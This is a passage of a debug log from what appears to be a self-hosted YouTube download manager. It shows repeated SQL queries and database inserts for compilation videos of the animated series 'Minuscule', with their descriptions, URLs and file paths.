s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:17.578 [debug] QUERY OK source="sources" db=0.3ms idle=932.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:17.579 [debug] QUERY OK source="media_items" db=0.9ms idle=933.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-22 06:00:11Z], 4] 00:49:17.583 [debug] QUERY OK source="media_items" db=2.3ms idle=934.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Apple Of Concord | S01E36\n00:04:46 | Caterpillars in Pairs | S01E06\n00:09:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:14:16 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:19:04 | Leech | S01E73\n00:23:29 | Caterpillar Dream | S01E20\n00:28:18 | The Right Seed | S01E57\n00:33:04 | Shell-Less | S01E19\n00:37:47 | Lettuce | S01E48\n00:42:34 | Love Story | S01E03\n00:47:23 | A Cruel World | S01E46\n00:52:12 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #friendship #apple #adventure #caterpillars #love #eggs #transformation #Minuscule #nature #insects #ladybugs #animatedseries", "The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation", "7a082ae8-b1b0-457d-bbec-bc29b392e16a", "8IewYmG_Z3U", 3452, false, 4, "https://www.youtube.com/watch?v=8IewYmG_Z3U", 35, "/downloads/Miniscule Season 1/2025-07-22 The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation/The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation [8IewYmG_Z3U].mp4", false, false, false, [], 1, ~U[2025-07-22 06:00:11Z], ~U[2025-12-14 07:49:17Z], ~U[2025-12-14 07:49:17Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Apple Of Concord | S01E36\n00:04:46 | Caterpillars in Pairs | S01E06\n00:09:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:14:16 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:19:04 | Leech | S01E73\n00:23:29 | Caterpillar Dream | S01E20\n00:28:18 | The Right Seed | S01E57\n00:33:04 | Shell-Less | S01E19\n00:37:47 | Lettuce | S01E48\n00:42:34 | Love Story | S01E03\n00:47:23 | A Cruel World | S01E46\n00:52:12 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #friendship #apple #adventure #caterpillars #love #eggs #transformation #Minuscule #nature #insects #ladybugs #animatedseries", "The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation", "8IewYmG_Z3U", 3452, false, 4, "https://www.youtube.com/watch?v=8IewYmG_Z3U", "/downloads/Miniscule Season 1/2025-07-22 The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation/The Apple Of Concord 🍎 Minuscule 🍃 70' Compilation [8IewYmG_Z3U].mp4", false, ~U[2025-07-22 06:00:11Z]] 00:49:17.583 [debug] QUERY OK source="sources" db=0.3ms idle=342.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:17.584 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:17.585 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [94257] 00:49:17.585 [debug] Current batch of media processed. Will check again in 1000ms 00:49:18.586 [debug] Current batch of media processed. Will check again in 1000ms 00:49:19.588 [debug] Current batch of media processed. Will check again in 1000ms 00:49:20.589 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Interior Cobwebs | S01E64\n00:04:27 | The Noodle Battle | S01E70\n00:09:01 | No Luck | S01E62\n00:13:44 | The Escapist | S01E59\n00:18:13 | Ladybugs | S01E17\n00:22:52 | Hiccups | S01E26\n00:27:36 | Narcissus | S01E47\n00:32:25 | The Right Seed | S01E57\n00:37:11 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spiders #webs #fly #mishaps #noodle #battle #spider #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2549, "filename" => "/downloads/Miniscule Season 1/2025-07-12 Interior Cobwebs | Minuscule 🍃 50' Compilation/Interior Cobwebs | Minuscule 🍃 50' Compilation [k1NTwZMFDjY].mkv", "id" => "k1NTwZMFDjY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=k1NTwZMFDjY", "playlist_index" => 36, "timestamp" => 1752343256, "title" => "Interior Cobwebs | Minuscule 🍃 50' Compilation", "upload_date" => "20250712"} 00:49:20.590 [debug] QUERY OK source="sources" db=0.5ms idle=1944.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:20.591 [debug] QUERY OK source="sources" db=0.2ms idle=1945.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:20.592 [debug] QUERY OK source="media_items" db=1.0ms idle=1946.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-12 18:00:56Z], 4] 00:49:20.685 [debug] QUERY OK source="media_items" db=91.3ms idle=1348.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Interior Cobwebs | S01E64\n00:04:27 | The Noodle Battle | S01E70\n00:09:01 | No Luck | S01E62\n00:13:44 | The Escapist | S01E59\n00:18:13 | Ladybugs | S01E17\n00:22:52 | Hiccups | S01E26\n00:27:36 | Narcissus | S01E47\n00:32:25 | The Right Seed | S01E57\n00:37:11 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spiders #webs #fly #mishaps #noodle #battle #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Interior Cobwebs | Minuscule 🍃 50' Compilation", "9d15ae9e-1f3e-412e-aa34-2b05033bda3f", "k1NTwZMFDjY", 2549, false, 4, "https://www.youtube.com/watch?v=k1NTwZMFDjY", 36, "/downloads/Miniscule Season 1/2025-07-12 Interior Cobwebs | Minuscule 🍃 50' Compilation/Interior Cobwebs | Minuscule 🍃 50' Compilation [k1NTwZMFDjY].mkv", false, false, false, [], 1, ~U[2025-07-12 18:00:56Z], ~U[2025-12-14 07:49:20Z], ~U[2025-12-14 07:49:20Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Interior Cobwebs | S01E64\n00:04:27 | The Noodle Battle | S01E70\n00:09:01 | No Luck | S01E62\n00:13:44 | The Escapist | S01E59\n00:18:13 | Ladybugs | S01E17\n00:22:52 | Hiccups | S01E26\n00:27:36 | Narcissus | S01E47\n00:32:25 | The Right Seed | S01E57\n00:37:11 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spiders #webs #fly #mishaps #noodle #battle #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Interior Cobwebs | Minuscule 🍃 50' Compilation", "k1NTwZMFDjY", 2549, false, 4, "https://www.youtube.com/watch?v=k1NTwZMFDjY", "/downloads/Miniscule Season 1/2025-07-12 Interior Cobwebs | Minuscule 🍃 50' Compilation/Interior Cobwebs | Minuscule 🍃 50' Compilation [k1NTwZMFDjY].mkv", false, ~U[2025-07-12 18:00:56Z]] 00:49:20.686 [debug] QUERY OK source="sources" db=0.4ms idle=439.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:20.686 [debug] QUERY OK source="media_profiles" db=0.3ms idle=95.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:20.687 [debug] QUERY OK source="media_items" db=0.4ms idle=96.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93355] 00:49:20.688 [debug] Current batch of media processed. Will check again in 1000ms 00:49:21.689 [debug] Current batch of media processed. Will check again in 1000ms 00:49:22.690 [debug] Current batch of media processed. Will check again in 1000ms 00:49:23.691 [debug] Current batch of media processed. Will check again in 1000ms 00:49:24.692 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | King Size Camembert | S01E45\n00:04:38 | The Last Supper | S01E25\n00:09:28 | The Good Education | S01E56\n00:14:15 | No Luck | S01E62\n00:18:57 | The Mosquito | S01E58\n00:23:07 | Caterpillars in Pairs | S01E06\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Camembert #spider #fly #tricks #flies #ladybug #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1705, "filename" => "/downloads/Miniscule Season 1/2025-07-19 King Size Camembert | Minuscule 🍃 35' Compilation/King Size Camembert | Minuscule 🍃 35' Compilation [iAsxecTpMhY].mkv", "id" => "iAsxecTpMhY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iAsxecTpMhY", "playlist_index" => 37, "timestamp" => 1752948052, "title" => "King Size Camembert | Minuscule 🍃 35' Compilation", "upload_date" => "20250719"} 00:49:24.693 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=438.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:24.694 [debug] QUERY OK source="sources" db=0.4ms idle=48.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:24.695 [debug] QUERY OK source="media_items" db=1.0ms idle=49.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-19 18:00:52Z], 4] 00:49:24.699 [debug] QUERY OK source="media_items" db=2.3ms idle=51.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | King Size Camembert | S01E45\n00:04:38 | The Last Supper | S01E25\n00:09:28 | The Good Education | S01E56\n00:14:15 | No Luck | S01E62\n00:18:57 | The Mosquito | S01E58\n00:23:07 | Caterpillars in Pairs | S01E06\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Camembert #spider #fly #tricks #flies #ladybug #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "King Size Camembert | Minuscule 🍃 35' Compilation", "24c55211-78e9-4bee-9116-f73679bd73d4", "iAsxecTpMhY", 1705, false, 4, "https://www.youtube.com/watch?v=iAsxecTpMhY", 37, "/downloads/Miniscule Season 1/2025-07-19 King Size Camembert | Minuscule 🍃 35' Compilation/King Size Camembert | Minuscule 🍃 35' Compilation [iAsxecTpMhY].mkv", false, false, false, [], 1, ~U[2025-07-19 18:00:52Z], ~U[2025-12-14 07:49:24Z], ~U[2025-12-14 07:49:24Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | King Size Camembert | S01E45\n00:04:38 | The Last Supper | S01E25\n00:09:28 | The Good Education | S01E56\n00:14:15 | No Luck | S01E62\n00:18:57 | The Mosquito | S01E58\n00:23:07 | Caterpillars in Pairs | S01E06\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Camembert #spider #fly #tricks #flies #ladybug #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "King Size Camembert | Minuscule 🍃 35' Compilation", "iAsxecTpMhY", 1705, false, 4, "https://www.youtube.com/watch?v=iAsxecTpMhY", "/downloads/Miniscule Season 1/2025-07-19 King Size Camembert | Minuscule 🍃 35' Compilation/King Size Camembert | Minuscule 🍃 35' Compilation [iAsxecTpMhY].mkv", false, ~U[2025-07-19 18:00:52Z]] 00:49:24.700 [debug] QUERY OK source="sources" db=0.4ms idle=54.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:24.700 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:24.702 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [93800] 00:49:24.702 [debug] Current batch of media processed. Will check again in 1000ms 00:49:25.703 [debug] Current batch of media processed. Will check again in 1000ms 00:49:26.704 [debug] Current batch of media processed. Will check again in 1000ms 00:49:27.705 [debug] Current batch of media processed. Will check again in 1000ms 00:49:28.706 [debug] Current batch of media processed. Will check again in 1000ms 00:49:29.707 [debug] Current batch of media processed. Will check again in 1000ms 00:49:30.708 [debug] Current batch of media processed. Will check again in 1000ms 00:49:31.130 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:31.709 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Wasp Belle | S01E04\n00:04:49 | Torpedo | S01E52\n00:09:28 | Windswept | S01E68\n00:14:17 | Shell-Less | S01E19\n00:19:00 | On Your Marks, get set, go ! | S01E75\n00:23:49 | Hyperactive | S01E54\n00:28:30 | Cowardly Coward | S01E09\n00:33:19 | Zzzeplin | S01E22\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wasp #aerobatics #formation #stratosphere #Torpedo #Mosquito #Mustard #Jackhammer #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2320, "filename" => "/downloads/Miniscule Season 1/2025-07-05 Wasp Belle | Minuscule 🍃 45' Compilation/Wasp Belle | Minuscule 🍃 45' Compilation [Ks23sQgKGgQ].mkv", "id" => "Ks23sQgKGgQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Ks23sQgKGgQ", "playlist_index" => 38, "timestamp" => 1751738454, "title" => "Wasp Belle | Minuscule 🍃 45' Compilation", "upload_date" => "20250705"} 00:49:31.710 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1064.7ms SELECT s0."id", s0."enabled", s0."uuid", 